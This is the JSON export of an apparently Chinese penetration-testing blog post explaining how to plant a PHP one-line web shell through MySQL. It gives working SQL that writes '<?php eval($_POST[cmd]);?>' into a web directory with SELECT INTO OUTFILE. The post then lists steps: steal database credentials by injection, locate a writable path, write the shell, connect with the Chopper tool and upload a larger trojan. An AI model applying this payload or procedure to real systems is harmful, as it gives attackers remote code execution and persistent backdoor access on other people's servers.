{"id":767,"date":"2025-10-24T14:59:02","date_gmt":"2025-10-24T06:59:02","guid":{"rendered":"https:\/\/www.youvii.site\/?p=767"},"modified":"2025-10-24T15:01:20","modified_gmt":"2025-10-24T07:01:20","slug":"mysqlyijuhuamuma","status":"publish","type":"post","link":"https:\/\/www.youvii.site\/index.php\/archives\/mysqlyijuhuamuma","title":{"rendered":"Mysql\u4e00\u53e5\u8bdd\u6728\u9a6c"},"content":{"rendered":"<h1>Mysql\u4e00\u53e5\u8bdd\u6728\u9a6c<\/h1>\n<pre class=\"prettyprint linenums\" ><code class=\"language-plsql\">USE mysql;\n# MySQL \u8fd4\u56de\u7684\u67e5\u8be2\u7ed3\u679c\u4e3a\u7a7a(\u5373\u96f6\u884c)\nCREATE TABLE a(\ncmd1 text NOT NULL\n);\n# MySQL \u8fd4\u56de\u7684\u67e5\u8be2\u7ed3\u679c\u4e3a\u7a7a(\u5373\u96f6\u884c)\nINSERT INTO a( cmd1 )\nVALUES (\n'&lt;?php eval($_POST[cmd]);?&gt;'\n);\n# \u5f71\u54cd\u5217\u6570\uff1a 1\nSELECT cmd1\nFROM a\nINTO OUTFILE '\/data\/www\/heneng\/cp\/mm.php';\n# \u5f71\u54cd\u5217\u6570\uff1a 1\nDROP TABLE IF EXISTS a;# MySQL \u8fd4\u56de\u7684\u67e5\u8be2\u7ed3\u679c\u4e3a\u7a7a(\u5373\u96f6\u884c)\u3002\n# MySQL \u8fd4\u56de\u7684\u67e5\u8be2\u7ed3\u679c\u4e3a\u7a7a(\u5373\u96f6\u884c)\u3002<\/code><\/pre>\n<p><font style=\"color:rgb(0, 0, 0);\">1.\u9996\u5148\u901a\u8fc7\u6ce8\u5165\u83b7\u53d6mysql\u6570\u636e\u5e93\u7684\u7528\u6237\u540d\u548c\u5bc6\u7801<\/font><\/p>\n<p><font style=\"color:rgb(0, 0, 0);\">2.\u901a\u8fc7\u76f8\u5173\u6e20\u9053\u83b7\u53d6mysql\u6570\u636e\u5e93\u7684\u8def\u5f84<\/font><\/p>\n<p><font style=\"color:rgb(0, 0, 0);\">3.\u4f7f\u7528\u7528\u6237\u540d\u548c\u5bc6\u7801\u767b\u9646mysql<\/font><\/p>\n<p><font style=\"color:rgb(0, 0, 0);\">4.\u83b7\u53d6\u7f51\u7ad9\u53ef\u5199\u76ee\u5f55\u7684\u7edd\u5bf9\u8def\u5f84<\/font><\/p>\n<p><font style=\"color:rgb(0, 0, 0);\">5.\u70b9\u51fb\u8fdb\u5165sql\u7f16\u8f91\u5668\uff0c\u8f93\u5165\u4e0a\u8ff0\u4ee3\u7801\uff0c\u5c06\u4e00\u53e5\u8bdd\u6728\u9a6c\u5199\u5165\u7f51\u7ad9<\/font><\/p>\n<p><font style=\"color:rgb(0, 0, 0);\">6.\u4f7f\u7528\u83dc\u5200\u8fde\u63a5\u4e00\u53e5\u8bdd\uff0c\u4e0a\u4f20\u5927\u9a6c<\/font><\/p>\n<p><font style=\"color:rgb(0, 0, 0);\"><\/font><\/p>\n<h1><font style=\"color:rgb(79, 79, 79);\">mysql\u65e5\u5fd7\u6ce8\u5165\u4e00\u53e5\u8bdd\u6728\u9a6c<\/font><\/h1>\n<blockquote>\n<p>\u66f4\u65b0: 2025-05-15 09:14:21<br \/>\n\u539f\u6587: <a href=\"https:\/\/www.yuque.com\/yuhui.net\/network\/oief4445m8ro7eov\">https:\/\/www.yuque.com\/yuhui.net\/network\/oief4445m8ro7eov<\/a><\/p>\n<\/blockquote>\n","protected":false},"excerpt":{"rendered":"<p>Mysql\u4e00\u53e5\u8bdd\u6728\u9a6c USE mysql; # MySQL \u8fd4\u56de\u7684\u67e5\u8be2\u7ed3\u679c\u4e3a\u7a7a(\u5373\u96f6\u884c) CREATE TABLE a( cmd1 text NOT NULL ); # MySQL \u8fd4\u56de\u7684\u67e5\u8be2\u7ed3\u679c\u4e3a\u7a7a(\u5373\u96f6\u884c) INSERT INTO a( cmd1 ) VALUES ( &#8216;&lt;?php eval($_POST[cmd]);?&gt;&#8217; ); # \u5f71\u54cd\u5217\u6570\uff1a 1 SELECT cmd1 FRO [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[119,120,2],"tags":[43,60],"class_list":["post-767","post","type-post","status-publish","format-standard","hentry","category-shentouceshijichu-network_sec","category-loudongleibie","category-network_sec","tag-43","tag-shujuku"],"_links":{"self":[{"href":"https:\/\/www.youvii.site\/index.php\/wp-json\/wp\/v2\/posts\/767","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.youvii.site\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.youvii.site\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.youvii.site\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.youvii.site\/index.php\/wp-json\/wp\/v2\/comments?post=767"}],"version-history":[{"count":0,"href":"https:\/\/www.youvii.site\/index.php\/wp-json\/wp\/v2\/posts\/767\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.youvii.site\/index.php\/wp-json\/wp\/v2\/media?parent=767"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.youvii.site\/index.php\/wp-json\/wp\/v2\/categories?post=767"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.youvii.site\/index.php\/wp-json\/wp\/v2\/tags?post=767"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}